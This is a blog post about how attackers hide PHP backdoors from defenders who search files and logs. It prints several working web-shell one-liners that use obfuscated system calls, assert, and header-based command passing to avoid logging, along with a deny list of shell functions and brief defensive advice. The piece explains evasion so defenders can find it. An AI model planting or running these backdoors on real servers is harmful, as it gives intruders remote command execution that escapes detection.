The backdoor you didn't grep

August 21, 2013

I’ve previously discussed the game of cat and mouse played between attackers and defenders in the malware domain. Today, I will take a similar (albeit more offensive) approach to analysing this hide-and-seek game between web attackers and defenders.

We start with the familiar scenario - someone has breached your server, what’s their next step?

Stick around.

Given at least 224 million servers are currently supporting php – it’s a good place to start.

Let’s inspect a simple backdoor which facilitates an attacker executing shell commands on a server via GET /x.php?1=ls HTTP/1.1

system($_GET[1]);

How can we defend from this?

A common approach to find backdoors is to search for potentially malicious functions in files across your web directory. The function most recommended to search for is system so let’s not use it.

To hide our shell we can obfuscate this system function - hence bypassing simple searches.

eval(base64_decode("c3lzdGVtKCRfR0VUWzFdKTs="));
preg_replace("/.*/e","sy" . "stem('$_GET[1]')","");

A problem with using base64_decode, preg_replace and eval is they are also commonly recommended functions to find backdoors.

So, what if we avoid using these red-flag functions completely?

$a ="sy";
$b = "ste";
$c = "m";
$f = $a.$b.$c;
$f($_GET[1]);
$f = str_replace('z', 's', 'zyztem');
$f($_GET[1]);

What if system and other known dangerous functions are disabled in the php install?

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Luckily we are using php

A function doesn’t have to look malicious to be malicious.

As an example, who blocks assert?

assert($_GET[1]);

EDIT: As pointed out by reddit user VeTwuetnix6, an incomplete(?) list of eval functions can be found here.

Another common place to find signs of malicious activities are in logs. But what if we keep the logs clean?

Compare the different log results from using these very similar backdoors and the command GET /x.php?1=system&2=ls HTTP/1.1

($a=@$_GET[1]).@$a($_GET[2]);
($a=@$_SERVER['HTTP_1']).@$a($_SERVER['HTTP_2']);

Our function abuse is suddenly much more difficult to find.

So what can you do?

The simple answer - not much.

But you can make it harder - check any user controlled inputs (particularly in editable and recently modified files) and check for intentional errors - malicious includes, introduced sqli or xss vulnerabilities, logic bombs, etc, etc.

Essentially - check any(every)where.